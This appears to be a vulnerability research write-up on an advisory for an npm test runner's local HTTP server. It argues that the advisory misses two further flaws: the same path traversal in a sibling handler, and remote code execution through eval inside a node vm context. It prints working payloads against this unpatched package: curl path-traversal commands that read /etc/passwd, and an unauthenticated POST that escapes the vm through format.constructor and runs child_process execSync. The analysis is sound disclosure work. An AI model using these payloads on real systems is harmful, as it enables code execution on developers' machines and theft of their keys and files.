BrowserStack Runner's HTTP server, lib/server.js, registers five handlers in one dispatch table. CVE-2026-49144 names the last one, _default, for an unauthenticated path traversal: a curl with enough ../ segments reads any file the running process can read. The third handler in the same table, _log, accepts an HTTP body, parses it as JSON, and passes each element of its arguments field to eval inside a vm.runInNewContext. The line above the eval call is a comment, written by the same author who shipped _default sixteen days earlier. It reads: // eval each element of query.arguments safely in an isolated context.
CVE-2026-49144: BrowserStack Runner's HTTP Server Calls eval on the Request Body. The CVE Names a Different Handler.
vendor
patterns
cve
proof of concept
The dispatcher decides every other question in this file
A single statement at the bottom of lib/server.js decides which handler answers any inbound request:
return http.createServer(function(request, response) {
var uri = url.parse(request.url).pathname;
var method = uri.split('/')[1];
var body = '';
request.on('data', function(data) {
body += data;
});
request.on('end', function() {
(handlers[method] || handlers._default)(uri, body, request, response);
});
});The server reads the URL's first path segment and uses it to index a handlers object. If no entry exists, _default runs. The handlers object contains five entries, declared in this order:
var handlers = {
'_progress': function progressHandler(uri, body, request, response) { ... },
'_report': function reportHandler (uri, body, request, response) { ... },
'_log': function logHandler (uri, body, request, response) { ... },
'_patch': function patchHandler (uri, body, request, response) { ... },
'_default': function defaultHandler (uri, body, request, response) { ... }
};_progress and _report both call a helper, getWorkerUuid(request), and refuse the request if it returns null. _log, _patch, and _default do not. The server binds to 0.0.0.0:8888 per the advisory and accepts requests from anything that can reach the port. The advisory's CVE is about _default. The interesting handlers are the others.
The handler the advisory found
Lines 530 to 535:
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
logger.trace('_default', filePath);
handleFile(filePath, request, response);
}path.join('/home/dev/project', '/../../../etc/passwd') evaluates to /etc/passwd. path.join normalizes .. segments but does nothing to confine the result inside process.cwd(). The handleFile chain at line 268 calls fs.exists and then either fs.readFile for HTML or send(request, filename).pipe(response) for everything else. There is no allowlist, no path.resolve confinement, no header-check, no session-check.
The advisory's reproduction is, verbatim, curl http://127.0.0.1:8888/../../../etc/passwd. It works because nothing in the function disagrees with it. CVSS 6.5, network-adjacent because the server is bound on every interface. A developer running the runner from ~/myproject while connected to the office LAN exposes ~/myproject/browserstack.json (the file that holds their BrowserStack access key) and ~/myproject/.env (the file that holds everything else) to any host on the same broadcast domain. The advisory enumerates this consequence.
This is what the advisory says.
The sibling handler four lines above
The handler immediately above _default in the dispatch table, lines 524 to 528:
'_patch': function patchHandler(uri, body, request, response) {
var filePath = path.join(__dirname, uri);
logger.trace('_patch', filePath);
handleFile(filePath, request, response, true);
}Same shape. Same path.join with the same trust assumption. The only difference is the anchor: __dirname (the lib/ directory inside the installed package) instead of process.cwd() (the developer's project root). The advisory's PoC does not touch _patch because the advisory's PoC sends a URL whose first segment falls through to _default. A URL whose first segment is _patch dispatches to this handler instead:
curl "http://127.0.0.1:8888/_patch/../../../../../../../etc/passwd"The exact number of ../ segments depends on how deep the installed package sits in the developer's node_modules tree; with enough of them, the same primitive escapes lib/ and reaches /etc/passwd. The bug, the trust assumption, and the consequence are identical to _default. A patch that validates the resolved path against process.cwd() inside _default does not by itself close _patch. A patch that validates the resolved path against __dirname inside _patch still has not closed the third handler.
The handler four declarations earlier
Lines 491 to 523, the _log handler:
'_log': function logHandler(uri, body, request, response) {
var uuid = getWorkerUuid(request);
var query = null;
try {
query = CircularJSON.parse(body);
} catch (e) {
query = body;
}
logger.trace('[%s] _log', ((uuid && workers[uuid]) || {}).id, query);
var logged = false;
if (query && Array.isArray(query.arguments)) {
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
try {
// eval each element of query.arguments safely in an isolated context
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
logger.info('[' + request.headers['x-browser-string'] + '] ' + context.output);
logged = true;
} catch (e) {
logger.debug('_log: failed to format console log data', query);
}
}
if (!logged) {
logger.info('[' + request.headers['x-browser-string'] + '] ' + query);
}
response.end();
}The handler does five things in order. It calls getWorkerUuid(request) and assigns the result to a local. It parses the request body as JSON. It writes a trace line that mentions the uuid (or undefined if there is no uuid). It evaluates the JSON inside a vm.runInNewContext if a particular field is present. It writes the result to the log and ends the response.
The first thing is the part that distinguishes _log from its peers. The two handlers above it in the dispatch table call getWorkerUuid and branch on the return value:
'_progress': function progressHandler(uri, body, request, response) {
var uuid = getWorkerUuid(request);
if (!uuid) {
sendError(response, 'worker not found', 404);
return;
}
...'_report': function reportHandler(uri, body, request, response) {
var uuid = getWorkerUuid(request);
if (!uuid) {
sendError(response, 'worker not found', 404);
return;
}
..._log does not branch. The uuid is used exactly once, as a subexpression inside a trace line: ((uuid && workers[uuid]) || {}).id. The expression short-circuits to an empty object when the uuid is null, and reads undefined for the .id. The trace line accepts undefined. The handler keeps going.
The call to getWorkerUuid is decoration. It returns a value the handler does not read. To code review it reads as authentication; at runtime, it gates nothing.
Then the body is parsed. The body is whatever an attacker put on the wire. The handler enters the if branch when query.arguments is an array. The branch builds a context with three keys: input (the attacker's array), format (a reference to util.format imported from Node's standard util module at the top of the file), and output (the empty string the result will be written into).
It then calls vm.runInNewContext on a constructed string. The string concatenates a fixed prefix (output = format.apply(null, input.map(), the source text of a callback function held in tryEvalOrString, and a fixed suffix ());). The callback's source is:
function (arg) { try { return eval('o = ' + arg); } catch (e) { return arg; } }Inside the vm context, Array.prototype.map calls this callback once per element of query.arguments. The callback concatenates the string 'o = ' with arg and passes the result to eval. The arg is whatever the attacker put in the array.
The comment one line above the vm.runInNewContext call:
// eval each element of query.arguments safely in an isolated contextThe Node.js documentation for the vm module, in the major version this file targets and in every major version Node has published since, includes this sentence:
The node:vm module is not a security mechanism. Do not use it to run untrusted code. The term "sandbox" should not be used to refer to this module.
The two sentences are talking about the same call. One was written by the author of lib/server.js. The other was written by the maintainers of node:vm because authors of files like lib/server.js write the first one.
The context the callback runs in has format in scope. format is util.format, an outer-realm function passed across the realm boundary by reference. Every function in V8 carries a .constructor reference back to the Function constructor of the realm that created it. format.constructor is the outer realm's Function. Calling format.constructor('return process')() from inside the vm context returns the outer realm's process object. From there, process.mainModule.require('child_process').execSync(...) runs whatever the attacker passes in, in the outer realm, on the developer's box, as the developer's user.
The attacker's request:
POST /_log HTTP/1.1
Host: devbox:8888
Content-Type: application/json
Content-Length: 158
{"arguments":["format.constructor('return process')().mainModule.require('child_process').execSync('id').toString()"]}No x-worker-uuid. No prior session. No authentication of any kind. The server walks the array, evaluates the string under vm.runInNewContext, the inner eval resolves format to util.format, traverses .constructor to the outer-realm Function, calls it to get process, reaches process.mainModule.require, loads child_process, runs execSync('id'), returns the bytes. The handler logs the output, formatted with the attacker-controlled x-browser-string header, to the developer's terminal, and ends the response. The CVSS 3.1 vector the advisory assigns is AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The I:N subscore is wrong if you read this handler.
When this was written
The handlers above are older than the advisory and older than every release of the package since the second. git blame on the handlers, in dispatch order:
| Line | Code | Commit | Date | Author |
|---|---|---|---|---|
| 491 | _log declaration |
9888613 |
2015-10-23 | Shirish Kamath |
| 504-516 | The vm.runInNewContext block |
1cb8deb6 |
2016-02-08 14:43 UTC | Shirish Kamath |
| 509 | // safely in an isolated context |
1cb8deb6 |
2016-02-08 14:43 UTC | Shirish Kamath |
| 506, 510 | The string-form tryEvalOrString refactor |
ad86ae81 |
2016-02-08 15:51 UTC | Shirish Kamath |
| 524-528 | _patch with path.join(__dirname, uri) |
4ab29937 |
2016-01-23 | Shirish Kamath |
| 530-534 | _default with path.join(process.cwd(), uri) |
4ab29937 |
2016-01-23 | Shirish Kamath |
The path.join shapes for _default and _patch shipped on January 23, 2016. The vm.runInNewContext block shipped on February 8, 2016, sixteen days later, in two commits one hour and eight minutes apart by the same author. The "safely in an isolated context" comment is in the first of the two. The last commit that changed any handler in lib/server.js is c584dd5, dated December 12, 2017, titled "Force patched responseData to a string."
The next nine years of commits to the repository are package version bumps, the BrowserStackLocal binary, README edits, a Semgrep CI workflow added on June 21, 2023, and a CODEOWNERS file added on July 3, 2023. The CODEOWNERS commit is the most recent commit in the repository. The package's last published version on npm is 0.9.5, released on April 21, 2021. GHSA-8rpw-6cqh-2v9h, published on May 27, 2026, lists Patched Versions: None. CVE-2026-49144 was assigned by MITRE six days later on the back of the advisory. The package's download count for the thirty days ending June 2, 2026 is 3,858.
The advisory was written by an outside researcher credited as Christbowel. The advisory names one handler.
The pattern
Three handlers in one dispatch table. Three sinks downstream of unsanitized attacker input on an unauthenticated network listener bound to every interface. The advisory closes one. The closing patch, if it lands, will validate the resolved path inside _default against process.cwd(). The same patch will not close _patch unless it independently validates __dirname. It will not close _log unless someone reads the comment.
This is Design Debt Driver visible at the level of one file. The substrate is the dispatch table itself: a registration shape where two handlers (_progress, _report) call getWorkerUuid and early-return on null, and three handlers (_log, _patch, _default) do not. The bug class is "attacker-controlled HTTP input flows to a dangerous sink with no early-return guard." _default is the file-read sink. _patch is the file-read sink. _log is the eval sink. The dispatch table is the design. Each handler that fails to branch on the uuid is an instance. The advisory found the instance that maps to the simplest curl.
_log is Content Is Command named at the handler that earns the label. The browser BrowserStack runs in the cloud POSTs a JSON-encoded console.log payload to the developer's local server. The payload is content. The handler walks the array, concatenates each element with the string 'o = ', and passes the result to a runtime function called eval. The boundary between content (what a remote browser uploaded) and command (what node runs in the developer's working directory) is a string concatenation and a comment that disagrees with the Node documentation it was written against.
The advisory's reproduction is the smaller one
The reproduction the advisory ships:
curl http://127.0.0.1:8888/../../../etc/passwdThe reproduction the advisory does not ship:
curl -X POST http://127.0.0.1:8888/_log \
-H 'Content-Type: application/json' \
-d '{"arguments":["format.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"id\").toString()"]}'The first reads /etc/passwd. The second runs id. The handlers are in the same file, four declarations apart, written by the same author in the same month, sitting in production since April 2021. The advisory was published May 27, 2026. The package is unmaintained. The advisory says Patched Versions: None.
PoC: browserstack/browserstack-runner (advisory GHSA-8rpw-6cqh-2v9h)
The advisory says Patched Versions: None. The eval has been waiting since February 2016.